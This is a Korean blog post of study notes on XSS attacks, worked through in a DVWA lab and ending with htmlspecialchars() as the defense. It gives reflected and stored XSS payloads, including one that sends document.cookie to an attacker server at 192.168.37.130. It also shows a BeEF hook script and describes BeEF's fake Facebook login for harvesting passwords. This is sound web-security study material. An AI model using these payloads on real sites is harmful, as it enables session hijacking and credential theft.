Chapter 09. XSS 공격
- 서버의 취약점을 이용하여 자바스크립트로 클라이언트 공격(ex: 쿠키 탈취)
- 삽입한 코드가 언제 실행되는지에 따라 reflected 공격과 stored 공격으로 구분 가능
리플렉티드 XSS 공격 개요
- 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점, 주로 게시판에 글을 남기거나 이메일 피싱을 이용하여 악의적인 스크립트 코드가 담긴 요청을 사용자가 실행하도록 만듦
리플렉티드 XSS 공격 실습
- 빈 칸에 입력된 이름이 바로 출력됨
<script>alert(1)</script> |
- 웹 애플리케이션이 사용자가 입력한 값을 그대로 출력하는 경우 리플렉티드 XSS가 존재할 가능성이 높음, 이를 테스트하기 위하여 스크립트 태그를 사용
<script>alert(document.cookie)</script> |
- 쿠키를 출력하는 자바스크립트
- 공격자의 웹 서버에 쿠키 값을 전달하기 위하여 웹 서버를 작동시킨 다음, 192.168로 시작하는 IP 주소 확인
- 주소창에 IP 주소로 웹 서버가 잘 돌아가는 지 확인
- access.log에는 웹 서버로 들어온 요청 정보가 기록되고, tail 명령어는 파일의 내용이 갱신되면 새로 추가된 내용을 바로 출력해주는 명령어
<script>document.location='http://192.168.37.130/cookie?'+document.cookie</script> |
- 리다이렉트된 URL이 공격자의 호스트에 존재하지 않기 때문에 에러 발생, 무시해도 되고 접근 로그에 GET /cookie? 문자열 이후 나오는 내용은 document cookie에 의해 출력된 쿠키 정보, PHPSESSIONID 쿠키 탈취 성공
BeEF 공격 프레임워크
- BeEF는 브라우저 익스플로잇 프레임워크 프로그램으로, 후킹 코드를 사용자가 실행하면 그 사용자의 호스트를 대상으로 여러가지 공격을 실행할 수 있도록 도움
- 웹 페이지가 자동으로 띄워짐, beef/beef로 로그인
<script src="http://127.0.0.1:3000/js"></script> |
- 처음 실행될 때 확인한 후크 스크립트를 Vulnerability: Reflected Cross Site Scripting (XSS)에 입력하면
- Pretty Theft 기능은 SNS 사이트의 인터페이스를 모방하여 사용자가 그 사이트의 아이디/패스워드를 입력하도록 유도
- 실행시키면 dvwa 사이트에 가짜 페이스북 인터페이스가 출력됨
- 로그인하면 그 데이터가 BeEF에 출력됨
스토어드 XSS 공격 개요
- 웹 서버에 저장되었다가 실행되기 때문에 피싱 과정이 필요 없고, 해당 페이지를 접속하는 모든 사용자가 공격당할 수 있음
스토어드 XSS 공격 실습
- 더 이상 안쳐질 때 Inspect Element 클릭하면 소스코드에서 maxlength가 50으로 설정되어 있으니까 큰 값으로 바꿀 것
<script>document.location=’http://192.168.37.130/cookie?’+document.cookie</script> |
- access.log 파일을 확인해보면 쿠키 정보가 담긴 요청 기록이 새롭게 생성되었음, 이후 방문자들은 모두 공격을 당하게 됨
스토어드 XSS 공격 대응
- htmlspecialchars() 함수는 특수문자들을 HTML 엔티티로 변환해주는 함수, 리플렉티드 XSS 공격 역시 이와 같은 방법으로 대응할 수 있음
해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.
'보안' 카테고리의 다른 글
Chapter 11. 파일 인클루전 공격 (0) | 2019.03.03 |
---|---|
Chapter 10. XSS 요청 변조(CSRF) 공격 (0) | 2019.03.01 |
Chapter 08. Command 인젝션 공격 (0) | 2019.02.28 |
Chapter 07. SQL 인젝션 공격 (0) | 2019.02.28 |
Chapter 06. 취약한 인증 공격 (0) | 2019.02.27 |
댓글